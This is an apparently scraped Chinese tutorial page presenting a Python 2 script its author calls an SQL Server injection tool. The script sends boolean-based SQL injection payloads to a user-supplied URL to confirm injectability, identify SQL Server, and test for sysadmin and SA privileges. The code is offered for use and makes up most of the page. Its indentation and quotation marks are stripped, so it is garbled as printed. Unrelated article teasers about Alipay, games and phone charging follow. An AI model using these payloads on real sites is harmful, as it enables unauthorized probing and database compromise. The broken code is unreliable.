[python连接数据库]Python编写数据库SA用户检测方案

更新时间:2019-12-26 来源:应用教程 点击:

【www.hzclsc.cn--应用教程】

本教程主要介绍Python编写数据库SA用户检测方案的一个方法,希望对大家有所帮助。
 # Code by zhaoxiaobu Email: little.bu@hotmail.com   

#-*- coding: UTF-8 -*-   

from sys import exit   

from urllib import urlopen   

from string import join,strip   

from re import search   

def is_sqlable():  

sql1= %20and%201=2  

sql2= %20and%201=1  

urlfile1=urlopen(url+sql1)  

urlfile2=urlopen(url+sql2)  

htmlcodes1=urlfile1.read()  

htmlcodes2=urlfile2.read()  

if not search(judge,htmlcodes1) and search(judge,htmlcodes2):  

print  [信息]恭喜!这个URL是有注入漏洞的!\n  

print  [信息]现在判断数据库是否是SQL Server,请耐心等候.....    

is_SQLServer()  

else:  

print  [错误]你确定这个URL能用?换个别的试试吧!\n  

def is_SQLServer():  

sql =  %20and%20exists%20(select%20*%20from%20sysobjects)  

urlfile=urlopen(url+sql)  

htmlcodes=urlfile.read()  

if not search(judge,htmlcodes):  

print  [错误]数据库好像不是SQL Server的!\n  

else:  

print  [信息]确认是SQL Server数据库!\n  

print  [信息]开始检测当前数据库用户权限,请耐心等待......  

is_sysadmin()  

def is_sysadmin():   

sql =  %20and%201=(select%20IS_SRVROLEMEMBER("sysadmin"))  

urlfile = urlopen(url+sql)   

htmlcodes = urlfile.read()   

if not search(judge,htmlcodes):   

print  [错误]当前数据库用户不具有sysadmin权限!\n  

else:   

print  [信息]当前数据库用户具有sysadmin权限!\n  

 print  [信息]检测当前用户是不是SA,请耐心等待......  

 is_sa()   

def is_sa():   

sql =  %20and%20"sa"=(select%20System_user)  

urlfile = urlopen(url+sql)   

htmlcodes = urlfile.read()   

if not search(judge,htmlcodes):   

print  [错误]当前数据库用户不是SA!\n  

else:   

 print  [信息]当前数据库用户是SA!\n  

print  \n########################################################################\n    

print   ^o^SQL Server注入利用工具^o^     

print   Email: little.bu@hotmail.com\n    

print  ========================================================================    

url = raw_input("[信息]请输入一个可能有注入漏洞的链接!\nURL:")   

if url == "":   

print  [错误]提供的URL必须具有 ".asp?xxx=" 这样的格式    

exit(1)   

judge = raw_input( [信息]请提供一个判断字符串.\n判断字符串: )   

if judge == "":   

print  [错误]判断字符串不能为空!    

exit(1)   

is_sqlable()  

Python编写数据库SA用户检测方案

本文来源:http://www.hzclsc.cn/anzhuo/44418.html

推荐内容

为您推荐

支付宝怎么自动还信用卡还款_支付宝怎么自动还信用卡 支付宝设置信用卡自动还款教程

支付宝可以对信用卡还款进行管理,有些办了信用卡的童鞋,还不知道支付宝怎么自动还信用卡,通过设置我们可以实现支付宝信用卡自动还款,省时省力,下面带来设置详细教程。支付宝怎么自动还信用卡? 进入支付宝,点教你一招

2020-12-14 07:03:59   支付宝可以自动还信用卡吗   支付宝如何自动还款信用卡   支付宝怎么自动还款信用卡  

【炼金与魔法按键怎么用】炼金与魔法按键怎么操作 炼金与魔法按键操作方法介绍

炼金与魔法是一款国产沙盒游戏,游戏的操作并不难,但是游戏中没有独立的按键使用教程,很多玩家不清楚如何操作,下面为大家带来炼金与魔法按键操作方法介绍。炼金与魔法按键操作方法介绍独立游戏

2020-12-13 23:04:59  

【王冠之心怎么样】王冠之心怎么联机 王冠之心联机教程

王冠之心(Heart of Crown PC)是一款卡牌策略类型的游戏,那么玩家该怎么联机进行游戏呢?下面就来分享一下王冠之心联机教程。王冠之心联机教程准备工作,把skip open port che策略与战棋

2020-12-13 07:06:08   王冠怎么折   手工王冠怎么做   银色王冠怎么用  

网易白金卡潮玩版|网易白金卡是什么 网易白金卡怎么激活

网易白金卡是什么?网易与中国联通联合推出了手机号码品牌网易白金卡,让用户可以免流量使用网易全系应用。现在炉石传说已经加入白金卡免流套餐!下面就一起来看看网易白金卡怎么激活吧。什么是网易白金卡网易白金卡游戏资讯

2020-12-12 11:04:25   网易白金卡免流范围   网易白金卡官网  

中国快递|中国快充标准详细介绍 中国手机快充技术介绍一览

手机快充技术发展已经有几年了,各家厂商的技术也不一样,在泰尔论坛2017快充技术标准与应用研讨会上,带来了中国首部快充标准《通信终端快速充电技术要求和测试方法》,下面一起来看下中国快充标准详细介绍!2知识加油站

2020-12-12 11:04:25   中国快递协会   中国快递公司排行榜   中国快餐连锁50强品牌